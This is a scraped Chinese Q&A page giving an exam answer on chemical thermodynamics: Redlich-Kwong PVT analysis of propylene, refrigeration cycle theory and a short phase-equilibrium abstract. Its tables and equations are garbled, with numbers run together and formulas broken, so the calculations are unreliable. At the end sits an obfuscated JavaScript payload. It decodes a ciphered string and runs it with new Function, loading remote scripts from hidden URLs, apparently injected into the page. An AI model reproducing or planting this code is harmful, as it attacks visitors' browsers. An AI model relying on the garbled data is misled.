2014年中国石油大学北京化工热力学在线考试(主观题)

2025年03月16日 18:08
有1个网友回答
网友(1):

中国石油大学远程教育

《 化工热力学 》

一、请学生运用所学的化工热力学知识,从以下给定的题目中选择至少选择2个题目进行论述:(总分100分)

1.教材中给出了众多的状态方程,请根据本人的工作或者生活选择一个体系、选择一个状态方程、对其PVT关系的计算准确度进行分析,并提出改进的方向和意见。

丙烯的PVT状态分析

近期我正在新疆五家渠一家焦化厂甲醇车间进行培训,在甲醇净化工段丙烯为利用最多的制冷剂,在学习丙烯压缩工段的同时对丙烯的物化性质也有了深入了解。

丙烯的理化学性质:丙烯是一种无色略带甜味的易燃气体,分子式为CH3CH=CH2,分子量为42.08,沸点-47.7℃,熔点为-185.25℃,其密度为空气的

1.46倍,临界温度为91.8℃,临界压力为4.6Mpa,爆炸极限为2.0~11%(vol),闪点为-108℃。(因此,丙烯在贮藏时要特别小心,如果发生泄漏,因为它比空气重,积聚在低洼处及地沟中,如在流动过程中遇到火星,则极易引起爆炸,酿成严重后果。)

选择用R-K状态方程计算对液态丙烯的PVT关系计算准确度进行分析,从《化工热力学、陈光进等编著》中查得丙烯的临界数据为Tc=364.9K;pc=46.0*10-1MPa,

下面是上海焦化厂给定的丙烯性质数据。

为了计算方便,用excel换算和简单计算得到新的数据如下:

温度

-40 -30 -20 -10 0 10 20 30 40 压力

atm) 1.401 2.097 3.023 4.257 5.772 7.685 10.046 12.911 16.307 体积

mL/g) 12966 6404 4639 3423 2569 1957 1510 1510 1177 50 20.299 922 (℃)((

温度

-40 -30 -20 -10 0 10 20 30 40

(℃)

温度(K) 233 243 253 263 273 283 293 303 313 压力P

1.4196 2.1248 3.0631 4.3134 5.8485 7.7868 10.1791 13.0821 16.5231

(1*10-1MPa)

摩尔体积v

54560.928 26948.032 19520.912 14403.984 10810.352 8235.056 6354.080 6354.080 4952.816

(1*10-5m3/mol)


R-K方程:pRT

vba

T0.5vvb

0.42748R2T2.52.5

ac0.427488.3146364.916.3409m6PaK0.5

p.6106mol2

c4

b0.08664RTc0.086648.3146364.95.7145105

p.6106m3mol1

c4

由上表又知道摩尔体积v,故根据R-K方程,用excel可分别计算得到各温

度下的压力值P1:


温度

(℃) -40 -30 -20 -10 0 10 20 30 40 压力P

1*10-1MPa) 1.4196 2.1248 3.0631 4.3134 5.8485 7.7868 10.1791 13.0821 16.5231 20.5680 计算压力

P-11.0288 2.1706 3.1182 4.3903 6.0679 8.2505 11.0602 11.4412 15.1467 19.9288

1(1*10MPa)


用R-K状态方程计算得数据与给定值比较可得如下数据图: 50 323 20.5680 3879.776 50 (


通过计算和上图的数据对比,可得结论:利用《上海焦化厂给定丙烯性质数值》,代入v值,用R-K方程计算所得的压力值P1与给定的P值偏差很小。即对于气态丙烯,利用R-K状态方程计算其PVT关系式很可靠的。

制冷流程简述:

从Recfisol来的丙烯气体与丙烯过冷器壳侧排出的气体混合,压力为0.13Mpa,温度为-40℃,进入压缩机入口分离器饱和并计量后,气体压力为0.12Mpa温度为-40℃进入,丙烯压缩机一段,由闪蒸罐出来的丙烯闪蒸汽压力为0.525Mpa温度为-5.5℃,进入丙烯压缩机的中段,两股气体均被压缩到1.9Mpa,102℃排出,压缩后的气体被丙烯冷凝器冷凝,液体丙烯进入丙烯贮槽,压力为

1.85Mpa温度为45℃,为防丙烯压缩机喘振,在丙烯机气体排出口有一回到入口分离器回路管线补充气量之不足。从丙烯贮槽出来的液体丙烯进入闪蒸槽,闪蒸气进入丙烯机中段,从丙烯压缩机出口处℃引一管线为防喘振二段回路。液体丙烯压力0.525Mpa温度为-5.5,从闪蒸槽底部引出来,一路进入压缩机入口分离器,通过液位调节以补充进口丙烯气流量,另一路进丙烯深冷器,通过自身丙烯闪蒸以降低温度,壳侧丙烯气与Recfisol来的会合,从管程中来的液体通过旁路进一步调节温度至-20℃,压力为0.485Mpa,离开系统进Recfisol,以提供低温甲醇洗所需冷量。为防止丙烯中微量水份在闪蒸过程中冻结,还需向系统注入少量甲醇,甲醇的喷淋是通过计量泵出口甲醇与丙烯贮槽到闪蒸槽的液体丙烯大小,调节喷淋混合来完成的。

由于丙烯易燃易爆,因此,在设备维修前后都必须用N2置换丙烯,然后用空气置换N2,开车时先用N2置换空气,再用丙烯置换N2。

2.根据功热转换的原理,选择一个体系或者工况进行节能过程分析。要求给出详细的计算步骤和过程分析。

空调制冷原理

空调在日常生活中随处可见,下面分别用温熵关系和压焓关系分析其制冷过程和原理。空调制冷原理涉及了了热力学第一定律和热力学第二定律,为逆卡诺循环,以下是用理论制冷循环的分析和计算。

一:逆卡诺循环—理想制冷循环的功能计算:

图1 温熵图

它由两个等温过程和两个绝热过程组成。假设低温热源(即被冷却介质)的温度为T0,高温热源(即环境)的温度为Tk, 则工质的温度在吸热过程中为T0, 在放热过程中为Tk, 就是说在吸热和放热过程中工质与冷源及高温热源之间没有温差,即传热是在等温下进行的,压缩和膨胀过程是在没有任何损失情况下进行的。其循环过程为:

首先工质在T0下从冷源(即被冷却介质)吸取热量q0,并进行等温膨胀4-1,然后通过绝热压缩1-2,使其温度由T0升高至环境介质的温度Tk, 再在Tk下进行等温压缩2-3,并向环境介质放出热量qk, 最后再进行绝热膨胀3-4,使其温度由Tk 降至T0即使工质回到初始状态4,从而完成一个循环。

对于逆卡诺循环来说,由图可知:

q0=T0(S1-S4)

qk=Tk(S2-S3)=Tk(S1-S4)

w0=qk-q0=Tk(S1-S4)-T0(S1-S4)=(Tk-T0)(S1-S4)

则逆卡诺循环制冷系数εk 为:εk = w0/ qk=(Tk-T0) / Tk

由上式可见,逆卡诺循环的制冷系数与工质的性质无关,只取决于冷源(即

被冷却物体)的温度 T0 和热源(即环境介质)的温度 Tk;降低 Tk,提高 T0 ,均可提高制冷系数。此外,由热力学第二定律还可以证明:“在给定的冷源和热源温度范围内工作的逆循环,以逆卡诺循环的制冷系数为最高”。任何实际制冷循环的制冷系数都小于逆卡诺循环的制冷系数。

制冷系统四大部件及制冷剂的变化过程:

蒸气压缩制冷循环系统主要由四大部件组成,即压缩机、冷凝器、节流元件和蒸发器,用不同直径的管道把它们串接起来,就形成了一个能使制冷剂循环流动的封闭系统。制冷压缩机由原动机如电机拖动而工作,不断地抽吸蒸发器中的制冷剂蒸气,压缩成高压(pk)、过热蒸气而排出并送入冷凝器,正是由于这一高压存在,使制冷剂蒸气在冷凝器中放出热量,把热量传递给周围的环境介质,从而使制冷剂蒸气冷凝成液体,当然,制冷剂蒸气冷凝时的温度一定要高于周围介质的温度。冷凝后的液体仍处于高压状态,流经节流元件进入蒸发器。制冷剂在节流元件中,从入口端的高压pk降低到低压p0,从高温tk降低到t0,并出现少量液体汽化变为蒸气。

二:逆卡诺循环—理想制冷循环的过程计算

根据理论循环的假设条件,单级蒸气压缩式制冷理论循环工作过程,在压焓图上的表示如图2所示。

图2 理论制冷循环压焓图

1)制冷压缩机从蒸发器吸取蒸发压力为p0的饱和制冷剂蒸气(状态点1),沿等熵线压缩至冷凝压力pk(状态点2),压缩过程完成。

2)状态点2的高温高压制冷剂蒸气进入冷凝器,经冷凝器与环境介质空气或水进行热交换,放出热量qk后,沿等压线pk冷却至饱和蒸气状态点2,然后冷凝至饱和液状态点3,冷凝过程完成。在冷却过程(2-2)中制冷剂与环境介

质有温差,在冷凝过程(2-3)中制冷剂与环境介质无温差。

3)状态点3的饱和制冷剂液体经节流元件节流降压,沿等焓线(节流过程中焓值保持不变)由冷凝压力pk降至蒸发压力p0,到达湿蒸气状态点4,膨胀过程完成。

4)状态点4的制冷剂湿蒸气进入蒸发器,在蒸发器内吸收被冷却介质的热量沿等压线p0汽化,到达饱和蒸气状态点1,蒸发过程完成。制冷剂的蒸发温度与被冷却介质间无温差。

理论循环的计算方法:

1、单位质量制冷量 制冷压缩机每输送1kg制冷剂经循环从被冷却介质中制取的冷量称为单位质量制冷量,用q0表示。

q0=h1-h4=r0(1-x4) (1-1)

式中 q0单位质量制冷量(kJ/kg);

h1与吸气状态对应的比焓值(kJ/kg);

h4节流后湿蒸气的比焓值(kJ/kg);

r0蒸发温度下制冷剂的汽化潜热(kJ/kg);

x4节流后气液两相制冷剂的干度。

单位质量制冷量q0在压焓图上相当于过程线1-4在h轴上的投影(见图1-2)。

2、单位容积制冷量 制冷压缩机每吸入1m3制冷剂蒸气(按吸气状态计)经循环从被冷却介质中制取的冷量,称为单位容积制冷量,用qv表示。

qvq0h1h4v1v1 (1-2)

式中 qv单位容积制冷量(kJ/m3);

v1制冷剂在吸气状态时的比体积(m3/kg)。

3、理论比功 制冷压缩机按等熵压缩时每压缩输送1kg制冷剂蒸气所消耗的功,称为理论比功,用w0表示。

w0=h2-h1 (1-3)

式中 w0理论比功(kJ/kg);

h2压缩机排气状态制冷剂的比焓值(kJ/kg);

h1压缩机吸气状态制冷剂的比焓值(kJ/kg)。

4、单位冷凝热负荷 制冷压缩机每输送1kg制冷剂在冷凝器中放出的热量,称为单位冷凝热负荷,用qk表示。

qk=(h2-h2)+(h2-h3)=h2-h3 (1-4)

式中 qk单位冷凝热负荷(kJ/kg);

h2与冷凝压力对应的干饱和蒸气状态所具有的比焓值(kJ/kg); h3与冷凝压力对应的饱和液状态所具有的比焓值(kJ/kg);

第6/7页

在压焓图中,qk相当于等压冷却、冷凝过程线 2-2-3 在h轴上的投影(见图2)。

比较式(1-1)、式(1-3)、式(1-4)和h4=h3可以看出,对于单级蒸气压缩式制冷理论循环,存在着下列关系

qk = q0 +w0 (1-5)

5、制冷系数 单位质量制冷量与理论比功之比,即理论循环的收益和代价之比,称为理论循环制冷系数,用0表示,即

q0h1h4w0h2h1 (1-6) 0

根据以上几个性能指标,可进一步求得制冷剂循环量、冷凝器中放出的热量、压缩机所需的理论功率等数据。


3.为含苯酚的水溶液处理过程选择合适的相平衡计算方法,给出详细的计算过程和步骤,并对其结果进行分析和讨论。


建立了一种混合电解质溶液相平衡计算的混合整数非线性规划模型,并提出用遗传算法求解。首先基于Gibbs自由能最小化原理,通过对液相、固相析出盐种类编码的处理,建立了电解质体系相平衡计算模型,将相平衡计算问题转化为有约束的最优化问题;其次用遗传算法求解,通过对优化变量采取动态边界的可行域编码方法和序贯收敛技术保证了算法的有效实施,可实现固液平衡计算并得到析出的晶体数、盐的种类、固体的量以及液相组成;最后对多种体系进行了计算,结果表明此方法可行有效。


http://wenku.baidu.com/link?url=TRVCzS2uERBu7jHxBU2Etp5bwqrkOPtCkC-aUqckP78QSMc4BnDfWeknGC5VY-rvfKfZIAOIfVp8Uh2wDGlfORrCXwnDmMxcT1ZKpWSFCJC

!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();